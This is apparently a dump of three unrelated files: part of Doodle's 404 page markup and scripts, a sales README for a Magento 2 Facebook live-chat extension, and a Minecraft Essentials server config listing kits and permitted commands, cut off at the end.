t={customDefinitions:null!==document.getElementById("doodleDataLayerCustomDefinitions")?JSON.parse(document.getElementById("doodleDataLayerCustomDefinitions").innerHTML):{},events:null!==document.getElementById("doodleDataLayerEvents")?JSON.parse(document.getElementById("doodleDataLayerEvents").innerHTML):[],cookieDeletions:null!==document.getElementById("doodleDataLayerCookieDeletions")?JSON.parse(document.getElementById("doodleDataLayerCookieDeletions").innerHTML):[]};Object.keys(t.customDefinitions).length>0&&e.push(t.customDefinitions),e.push({page:{viewportWidth:Math.max(document.documentElement.clientWidth,window.innerWidth||0),viewportHeight:Math.max(document.documentElement.clientHeight,window.innerHeight||0)}}),t.events.forEach(function(t){e.push(t)}),t.cookieDeletions.forEach(function(e){document.cookie=e})}catch(e){(window._errs||[]).push(e)}}},1257:function(e,t){"use strict";!function(e,t,n,o){var i,a;e[n]=e[n]||[],e[n].push({"gtm.start":(new Date).getTime(),event:"gtm.js"}),i=t.createElement("script"),i.async=!0,i.type="text/javascript",i.src="//www.googletagmanager.com/gtm.js?id="+o+("dataLayer"!==n?"&l="+n:""),a=t.getElementsByTagName("script")[0],a.parentNode.insertBefore(i,a)}(window,document,"dataLayer","GTM-CFKQ")}}); //# sourceMappingURL=tagmanager-bundle.6aa69cf9e6d011acc789.js.map</script> <script type="text/javascript"> //<![CDATA[ doodleJS = { guest: { viewLocale: "en_US", country: "BR", // can be UNKNOWN_COUNTRY_CODE ("ZZ") region: "BR:null", user: {"features":{"useCustomURL":false,"useCustomLogo":false,"quickReply":false,"extraInformation":false,"customTheme":false,"hideAds":false,"useSSL":false},"facebookAuthUrl":"https://graph.facebook.com/v2.8/oauth/authorize?scope=email&client_id=151397988232158&state=%7B%22is_mobile%22%3A%22false%22%2C%22redirect_uri%22%3A%22%22%2C%22locale%22%3A%22en%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D&redirect_uri=https%3A%2F%2Fdoodle.com%2Fnp%2Fmydoodle%2Fthirdparty%2FfacebookConnect&display=touch","isBusiness":false,"loggedIn":false,"googleAuthUrl":"https://accounts.google.com/o/oauth2/auth?client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/np/mydoodle/thirdparty/googleConnect&response_type=code&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile&state=%7B%22is_mobile%22:%22false%22,%22callbackUrl%22:%22https://doodle.com/np/mydoodle/thirdparty/googleConnect%22,%22redirect_uri%22:%22%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","googleAuthUrlLoginAndContacts":"https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force&client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/np/mydoodle/thirdparty/googleConnect&response_type=code&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile%20https://www.google.com/m8/feeds/&state=%7B%22doodleScope%22:%22CONTACTS%22,%22is_mobile%22:%22false%22,%22callbackUrl%22:%22https://doodle.com/np/mydoodle/thirdparty/googleConnect%22,%22redirect_uri%22:%22%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","isPremium":false,"isTrial":false,"outlookComAuthUrlContacts":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=de3c96ed-0fa3-4310-8472-290bb8767230&response_type=id_token+code&response_mode=form_post&scope=openid+offline_access+User.Read+Calendars.ReadWrite+Contacts.Read&nonce=j9iuggv35wtibzz3pfjdhf6psu634z03&redirect_uri=https%3A%2F%2Fdoodle.com%2Fmydoodle%2FupgradeOutlookComCodeAndConnect.html&state=%7B%22type%22%3A%22CONTACTS%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D"}, mandator: {"features":{"useCustomURL":false,"useCustomLogo":false,"quickReply":false,"extraInformation":false,"customTheme":false,"hideAds":false,"useSSL":false},"isMandator":false} }, ads: {}, callbacks: {}, // only used for iframe hacks (and file upload?) adCountingDeferred: $.Deferred(), l10n: null, // Object, set later by <script> tag, so it is cached by the browser templates: null, // Object, set later by <script> tag, so it is cached by the browser staticPageLinks: { currentPage: {"de":"","no":"","fi":"","sv":"","ru":"","pt":"","bg":"","lt":"","en":"","it":"","pt_BR":"","fr":"","hu":"","es":"","eu":"","cs":"","en_GB":"","cy":"","uk":"","pl":"","da":"","ca":"","nl":"","tr":""}, helpLink: "/help", privacyLink: "/privacy-policy", termsLink: "/terms-of-service" }, languages: [{"text":"čeština","value":"cs"},{"text":"Dansk","value":"da"},{"text":"Deutsch","value":"de"},{"text":"English","value":"en"},{"text":"español","value":"es"},{"text":"français","value":"fr"},{"text":"italiano","value":"it"},{"text":"magyar","value":"hu"},{"text":"Nederlands","value":"nl"},{"text":"norsk","value":"no"},{"text":"Português (BR)","value":"pt_BR"},{"text":"suomi","value":"fi"},{"text":"svenska","value":"sv"},{"text":"Türkçe","value":"tr"},{"text":"русский","value":"ru"}] }; // loads doodleJS.data and config $.extend(true, doodleJS, {"data":{"hostName":"worker4","timeZone":"America/Sao_Paulo"},"config":{"cookieDomain":"doodle.com","facebookAppId":"151397988232158","ifhcbPrefix":"hg6sdyqyos89jgd8","textOnly":false,"noLogin":false,"hosts":["http://worker1-test.doodle.com:80","http://worker2-test.doodle.com:80","http://worker4-test.doodle.com:80","http://worker5-test.doodle.com:80","http://worker10-test.doodle.com:80","http://worker11-test.doodle.com:80"],"baseSSLUrl":"https://doodle.com","googleOAuthUrl":"https://accounts.google.com/o/oauth2/auth?client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/api/v2.0/users/google-code-for-login&response_type=code&scope=profile%20email&state=%7B%22is_mobile%22:%22true%22,%22callbackUrl%22:%22https://doodle.com/api/v2.0/users/google-code-for-login%22,%22redirect_uri%22:%22PLACEHOLDERTOREPLACE%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","facebookOAuthUrl":"https://graph.facebook.com/v2.8/oauth/authorize?scope=email&client_id=151397988232158&state=%7B%22is_mobile%22%3A%22true%22%2C%22redirect_uri%22%3A%22PLACEHOLDERTOREPLACE%22%2C%22locale%22%3A%22en%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D&redirect_uri=https%3A%2F%2Fdoodle.com%2Fapi%2Fv2.0%2Fusers%2Ffacebook-code-for-login&display=touch"}}); d = {}; //]]> </script> <script type="text/javascript" src="/np/config?locale=en_US"></script> <script type="text/javascript" src="/np/nls/en_US/l10nScript"></script> <div id="container"> <div id="banner" class="doodleadNonAbs"> </div> <div id="page"> <div id="skyrightcontainer" class="transborder"> <div id="skyright" class="doodlead"> </div> </div> <div id="skyleft" class="doodlead transborder"> </div> <div id="background" class="doodlead"> <div id="dyn"> </div> </div> <div id="doodlecontainer"> <div id="doodle"> <div id="header"> <form id="fakeLoginForm" target="fakeLoginIframe" action="https://doodle.com/np/mydoodle/fakelogister" method="POST" style="display:none "> <input type="text" id="fakeeMailAddress" name="eMailAddress" /> <input type="password" id="fakepassword" name="password" /> <input type="submit" /> </form> <iframe id="fakeLoginIframe" name="fakeLoginIframe" style="display:none "></iframe> <script type="text/javascript"> //<![CDATA[ doodleJS.config.noLogin = true; //]]> </script> <div id="dynamicHeader" class="dynamic-header"><div class="responsive-header hidden-xs"> <div class="fixed-header"> <nav class="navbar navbar-default" role="navigation"> <div> <div class="navbar-header"> <a class="navbar-brand" href="/"> <div class="doodle-logo logo"></div> </a> </div> </div> </nav> </div></div><header class="d-headerView visible-xs"> <div> <a class="d-backOrToHome d-noNavigationText" href="false"> </a> <div class="d-grow"></div> </div></header> </div> <script src="/dist/normal/error-errorTemplate.109031a5a727b3259a5c.js"></script> </div> <noscript> <h3 class="red responsiveContent">We are sorry, but Doodle only works with JavaScript-enabled browsers.</h3> </noscript> <div id="content"> <div class="pageBanner fixedContent" id="dragonDictateWarning" style="display: none;"> <p class="pageBannerText">It seems that you are using the Dragon Dictate. Unfortunately, Doodle is currently not compatible with this browser plugin. You should either deactivate it, or use another browser for Doodle.</p> </div> <div class="contentPart fixedContent"> <div id="errorContent"> <div id="staticContentNon" class=""> <div class="spaceCBefore"> <a href="/"><img class="errorlogo" src="/dist/normal/i/9d6b54a76d5a7e5736b8a305706d33f5.png" /> </a> <h1 class="red error-title">Not found </h1> <div class="red error-code">404!</div> </div> <hr />It appears the page you were looking for doesn't exist. Sorry about that. <br /> <br /> <div class="pageHead spaceABefore spaceAAfter" style="text-align: center;">Maybe you were trying to go to one of these topics? <br /> <div class="maybefind"> <a href="/" class="btn">Home</a> <a href="/create" class="btn">Create poll </a> <a href="/features/calendar-connect" class="btn">Calendars </a> <a href="/account" class="btn">Manage Doodle account </a> <a href="/help" class="btn">Help </a> </div> </div> </div> </div> </div> </div> <div id="footer"> <div class="footer-menu"> <div class="footer-category columns4Layout"> <h4>Doodle</h4> <ul class="unstyled"> <li> <a href="/">Home</a> </li> <li> <a href="/about-doodle">About</a> </li> <li> <a href="http://en.blog.doodle.com/">Blog</a> </li> <li class="hidden-xs"> <a href="/about-doodle/team">Team</a> </li> <li> <a href="/about-doodle/jobs">Jobs</a> </li> <li> <a href="/press">Media Corner</a> </li> <li> <a href="/advertising">Advertise on Doodle</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Features</h4> <ul class="unstyled"> <li> <a href="/features">Overview</a> </li> <li> <a href="/features/mobile">Doodle Mobile</a> </li> <li class="hidden-xs"> <a href="/premium">Premium Doodle</a> </li> <li> <a href="/features/calendar-connect">Calendar Connect</a> </li> <li class="hidden-xs"> <a href="/meetme">MeetMe</a> </li> <li> <a href="http://support.doodle.com/customer/en/portal/articles/664212">API</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Support</h4> <ul class="unstyled"> <li> <a href="http://support.doodle.com/customer/portal/articles/761313-what-is-doodle-and-how-does-it-work-an-introduction">First Steps</a> </li> <li> <a href="/help">Help</a> </li> <li> <a href="/help/lost-and-found">Lost admin links</a> </li> <li> <a href="/specials">Use-cases</a> </li> <li><a href="/free-online-survey">Online Survey</a> </li> <li><a href="/meeting-scheduler">Meeting Scheduler</a> </li> <li><a href="/online-calendar">Online Calendar</a> </li> <li><a href="/online-scheduling">Online Scheduling</a> </li> <li><a href="/poll-maker">Poll Maker</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Legal</h4> <ul class="unstyled"> <li> <a href="/terms-of-service">Terms</a> </li> <li> <a href="/privacy-policy">Privacy</a> </li> <li> <a href="/imprint">Imprint</a> </li> </ul> </div> </div> <div class="footer-copy contentPart"> <div class="row"> <div class="col-sm-4 col-xs-6 copyright"> © 2017 Doodle </div> <div class="col-sm-4 hidden-xs mandator-name"> </div> <div class="col-sm-4 col-xs-6 languageSwitch"> <div id="languageToggler" class="hidden-xs"> <div id="languages"> <div class="tickWhite"></div> <div class="tickBorder"></div> <h3>Choose your language</h3> <div class="languageSwitches"> <a data-language="en">English </a> <a data-language="cy">Cymraeg </a> <a data-language="hu">magyar </a> <a data-language="fi">suomi </a> <a data-language="de">Deutsch </a> <a data-language="da">Dansk </a> <a data-language="nl">Nederlands </a> <a data-language="sv">svenska </a> <a data-language="fr">français </a> <a data-language="en_GB">English (GB) </a> <a data-language="no">norsk </a> <a data-language="tr">Türkçe </a> <a data-language="eu">Basque </a> <a data-language="es">español </a> <a data-language="pl">polski </a> <a data-language="bg">български </a> <a data-language="ca">català </a> <a data-language="it">italiano </a> <a data-language="pt">português </a> <a data-language="ru">русский </a> <a data-language="cs">čeština </a> <a data-language="lt">Lietuvių </a> <a data-language="pt_BR">Português (BR) </a> <a data-language="uk">українська </a> </div> <hr /> <div class="smallText spaceDBefore"> <a href="http://support.doodle.com/customer/portal/articles/891017" target="_blank"> Cannot find your language? Incomplete or wrong translation? <strong> Help us translate Doodle </strong> </a> </div> </div> <div id="languageSwitch"> Choose language: <div class="language-anchor">English ▾</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script type="text/javascript"> //<![CDATA[ window.setTimeout(function () { // Dragon Dictate defines a global object named nuanria if (typeof(nuanria) !== "undefined" && document.getElementById("dragonDictateWarning")) { document.getElementById("dragonDictateWarning").style.display = "block"; } }, 1000); // seems that plugins are loaded after page //]]> </script> <script src="/dist/normal/ghostbuster.8c9c3bee4a0f89ccd70e.js"></script> <script type="text/javascript"> var ray = new Ghostbuster(); ray.run(function(isDetected) { if (window.dataLayer) { window.dataLayer.push({ page: { ghostbuster: isDetected.toString() } }); } }); </script> </body> </html>
brunoroeder
# 1. MAGENTO 2 MARKETPLACE FACEBOOK LIVECHAT Facebook has taken the world by storm and become an important element in the field of communications. For businesses, Facebook messenger is about connecting businesses with customers. Some businesses are finding that Facebook may even replace their websites. The integration of Facebook Messenger into your marketplace can make the communication in business enhanced remarkably. Using Magento 2 Marketplace Facebook Live Chat Extension, you can easily keep in touch with various of customers at a time. The chatbox of this extension will help you send and receive messages from users instantly. Let's see outstanding advantages of this extension: Unlimited History Chat One step log in with Facebook, not setup requires Familiar chat box with Facebook Messenger Interface Easily enable/disable and configure Chatbox at the backend Unlimited color Show store profile and like button in the chat box Set greeting, upcoming event, store Facebook profile to the chatbox Chat with unlimited customers on Facebook page User Statistic Increase Fanpage View and Like Purchasing [MAGENTO 2 MARKETPLACE FACEBOOK LIVECHAT](https://landofcoder.com/marketplace-facebook-livechat.html/) This is a plugin of [Magento 2 Marketplace Extension](https://landofcoder.com/magento-2-marketplace-extension.html/). To use this module smoothly, you must install Magento 2 Marketplace Module first. ## 2. Documentation - Installation guide: https://blog.landofcoder.com/magento-2-install-extension/ - User guide: http://guide.landofcoder.com/ - Download from our Live site: https://landofcoder.com/magento-2-pre-order-extension.html/ - Get Support: https://landofcoder.ticksy.com/ ## 3. Highlight Features ### One step log in with Facebook Super Fast Logging in Facebook has never been easy like this with Magento 2 marketplace Facebook live chat extension. Type your email address/ your telephone number and your password in the box or if you have not had account, it seems to be simple way to create new account for you. Just by one click on your website, your customer can easily send and receive messages from you. No complicated setup requires. ### Configure all features of Chatbox Appearance of your chatbox plays an important role in how to communicate effectively with your customers. With Magento 2 marketplace facebook live chat extension, creating the best comfortable space for interaction can be optimized. You can change Title/ color/ Text color of tab close, Title/ Unlimited Color/ Width/ Height of Tab Open. Especially, you can even justify your avatar image width/height to raise your customers’impression when communicating with you. ### Get user information In the blink of eye This extension provides you the best management’s system with the board of “Manage data user”. You can keep track of how many people visit, interact in your web and how many people have real interest or enroll to spam. Name, Email, DOB, Location, Link Facebook of register users are now all on your list. ### Set greeting, upcoming event, store Facebook profile Being the first one to welcome your customers in your web can make them feel being respected. You can choose to send messages of greeting, event to customer manually or automatically. What can make them pay attention to is all the information in your web coming to them first. Magento 2 marketplace facebook live chat can help you to update the recent message and upcoming event for your customers or even you can send message to the host of page. ### Show site/product/category on the chat box When receiving a request from the customer, you can send them the site/product/category links in the chatbox. It will be always appear in your screen, so it seems to be very simple to do multitasks: both searching products’information and keeping in touch with the customers. ### Unlimited History Chat The same function as Facebook messenger app, Marketplace facebook live chat extension provides you responsive interface in which you can scroll down or search for any customer in your history no matter when it is. This goes beyond the limitation of current chat desk. If you need to find exact customers to check the exchanged information, you can only search a part of his/her name and the system will send you limited list for you. ### Increase Fanpage View and Like By using Magento 2 Marketplace Facebook Live Chat, you can drive your customer to your Facebook page. Keep theme follow your business all the time with updated news. They will not only interact in your website, but they can also do this in your fanpage on Facebook. ### Multiple and RLT Languages Magento 2 Marketplace Facebook Live Chat do not forget customers who want to use multiple languages or RTL language system. It helps you attract lots of customers without any limitation of cultures and languages.Take it easy for all! ### Familiar chat box with Facebook Messenger Interface With the familiar Facebook Messenger Interface in Magento store, customers and owners can communicate each other with ease. ### Enable/disable the extension by one click Simply to Enable/ Disable Magento 2 Marketplace Facebook Livechat extension for your store in the board of “Facebook support Live settings”. Just one click required! ## 4. Full features: - Easy log in with Facebook - Configure all features of Chatbox - Easy user management - Automatically send greeting and upcoming events notification. - Flexible functions of chatbox. - Unlimited History Chat - Promote interaction on Facebook fanpage - Multiple and RLT Languages - Familiar Facebook messenger interface of chat box - One-click operation of this extension - Show store profile and like button in the chat box - Chat with unlimited customers on Facebook page ## LandOfCoder extensions on Magento Marketplace, Github - [Magento 2 Multivendor Marketplace](https://landofcoder.com/magento-2-marketplace-extension.html/) - [Magento 2 Blog Extension](https://landofcoder.com/magento-2-blog-extension.html/) - [Magento 2 Testimonial Extension](https://landofcoder.com/testimonial-extension-for-magento2.html/) - [Magento 2 Image Gallery](https://landofcoder.com/magento-2-image-gallery.html/) - [Magento 2 Faq Extension](https://landofcoder.com/faq-extension-for-magento2.html/) - [Magento 2 Help Desk](https://landofcoder.com/magento-2-help-desk-extension.html) - [Magento 2 OUT OF STOCK NOTIFICATION](https://landofcoder.com/magento-2-out-of-stock-notification.html/) - [Magento 2 CUSTOMER QUOTATION FOR MAGENTO 2](https://landofcoder.com/magento-2-quote-extension.html/) - [Magento 2 RMA Extension](https://landofcoder.com/magento-2-rma-extension.html/) - [Magento 2 Stripe Payment](https://landofcoder.com/magento-2-stripe-payment-pro.html/) - [Magento 2 SMS Notification](https://landofcoder.com/magento-2-sms-notification-extension.html/) - [Magento 2 Page Builder](https://landofcoder.com/magento-2-page-builder.html/) - [Magento 2 Form Builder](https://landofcoder.com/magento-2-form-builder.html/) - [Magento 2 Advanced Report](https://landofcoder.com/magento-2-advanced-reports.html/) - [Magento 2 Marketplace PRO](https://landofcoder.com/magento-2-marketplace-pro.html/) - [Magento 2 Order Tracking](https://landofcoder.com/magento-2-order-tracking-extension.html/) - [Magento 2 Order Tracking PRO](https://landofcoder.com/magento-2-order-tracking-pro-extension.html/) - [Magento 2 Multiple Flat Rate](https://landofcoder.com/magento-2-multiple-flat-rate-shipping.html/) - [Magento 2 Shipping Per Product](https://landofcoder.com/magento-2-shipping-per-product.html/) - [Magento 2 Social Login](https://landofcoder.com/magento-2-social-login.html/) - [Magento 2 Store Locator](https://landofcoder.com/magento-2-store-locator.html/) - [Magento 2 Auto Search Extension](https://landofcoder.com/magento-2-search.html/) - [Magento 2 Mega Menu](https://landofcoder.com/magento-2-mega-menu.html/) - [Magento 2 Mega Menu PRO](https://landofcoder.com/magento-2-mega-menu-pro.html) - [Magento 2 Image Gallery PRO](https://landofcoder.com/magento-2-image-gallery-pro.html/) - [Magento 2 Layered Navigation](https://landofcoder.com/magento-2-layered-navigation.html/) - [Magento 2 Auction Extension](https://landofcoder.com/magento-2-auction-extension.html/) - [Magento 2 Store Credit](https://landofcoder.com/magento-2-store-credit.html/) - [Magento 2 Reward Point](https://landofcoder.com/magento-2-reward-points.html/) - [Magento 2 Follow Up Email](https://landofcoder.com/magento-2-follow-up-email.html/) - [Magento 2 Coupon Code Generator](https://landofcoder.com/magento-2-coupon-extension.html/) - [Magento 2 Hide Price](https://landofcoder.com/magento-2-hide-price.html/) - [Magento 2 Price Comparison](https://landofcoder.com/magento-2-price-comparison.html/) - [Magento 2 SMTP Extension](https://landofcoder.com/magento-2-smtp-extension.html) - [Magento 2 Price Comparison](https://landofcoder.com/magento-2-price-comparison.html/) - [Magento 2 Affiliate Extension](https://landofcoder.com/magento-2-affiliate-extension.html/) - [Magento 2 One Step Checkout](https://landofcoder.com/magento-2-one-step-checkout.html/) Sources: https://landofcoder.com/marketplace-facebook-livechat.html/
dallyswag
############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be 